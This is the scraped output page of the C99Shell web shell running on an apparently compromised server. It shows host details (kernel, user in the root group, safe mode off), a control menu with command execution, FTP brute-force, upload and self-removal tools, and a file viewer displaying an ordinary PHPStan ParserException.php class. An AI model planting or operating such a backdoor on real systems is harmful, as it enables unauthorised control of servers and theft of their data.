!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html_1_4/vendor/phpstan/phpdoc-parser/src/Parser/   drwxr-xr-x
Free 28.74 GB of 117.98 GB (24.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ParserException.php (2.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types 1);

namespace 
PHPStan\PhpDocParser\Parser;

use 
Exception;
use 
PHPStan\PhpDocParser\Lexer\Lexer;
use function 
assert;
use function 
json_encode;
use function 
sprintf;
use const 
JSON_INVALID_UTF8_SUBSTITUTE;
use const 
JSON_UNESCAPED_SLASHES;
use const 
JSON_UNESCAPED_UNICODE;

class 
ParserException extends Exception
{

    
/** @var string */
    
private $currentTokenValue;

    
/** @var int */
    
private $currentTokenType;

    
/** @var int */
    
private $currentOffset;

    
/** @var int */
    
private $expectedTokenType;

    
/** @var string|null */
    
private $expectedTokenValue;

    
/** @var int|null */
    
private $currentTokenLine;

    public function 
__construct(
        
string $currentTokenValue,
        
int $currentTokenType,
        
int $currentOffset,
        
int $expectedTokenType,
        ?
string $expectedTokenValue null,
        ?
int $currentTokenLine null
    
)
    {
        
$this->currentTokenValue $currentTokenValue;
        
$this->currentTokenType $currentTokenType;
        
$this->currentOffset $currentOffset;
        
$this->expectedTokenType $expectedTokenType;
        
$this->expectedTokenValue $expectedTokenValue;
        
$this->currentTokenLine $currentTokenLine;

        
parent::__construct(sprintf(
            
'Unexpected token %s, expected %s%s at offset %d%s',
            
$this->formatValue($currentTokenValue),
            
Lexer::TOKEN_LABELS[$expectedTokenType],
            
$expectedTokenValue !== null sprintf(' (%s)'$this->formatValue($expectedTokenValue)) : '',
            
$currentOffset,
            
$currentTokenLine === null '' sprintf(' on line %d'$currentTokenLine)
        ));
    }


    public function 
getCurrentTokenValue(): string
    
{
        return 
$this->currentTokenValue;
    }


    public function 
getCurrentTokenType(): int
    
{
        return 
$this->currentTokenType;
    }


    public function 
getCurrentOffset(): int
    
{
        return 
$this->currentOffset;
    }


    public function 
getExpectedTokenType(): int
    
{
        return 
$this->expectedTokenType;
    }


    public function 
getExpectedTokenValue(): ?string
    
{
        return 
$this->expectedTokenValue;
    }


    public function 
getCurrentTokenLine(): ?int
    
{
        return 
$this->currentTokenLine;
    }


    private function 
formatValue(string $value): string
    
{
        
$json json_encode($valueJSON_UNESCAPED_UNICODE JSON_UNESCAPED_SLASHES JSON_INVALID_UTF8_SUBSTITUTE);
        
assert($json !== false);

        return 
$json;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.003 ]--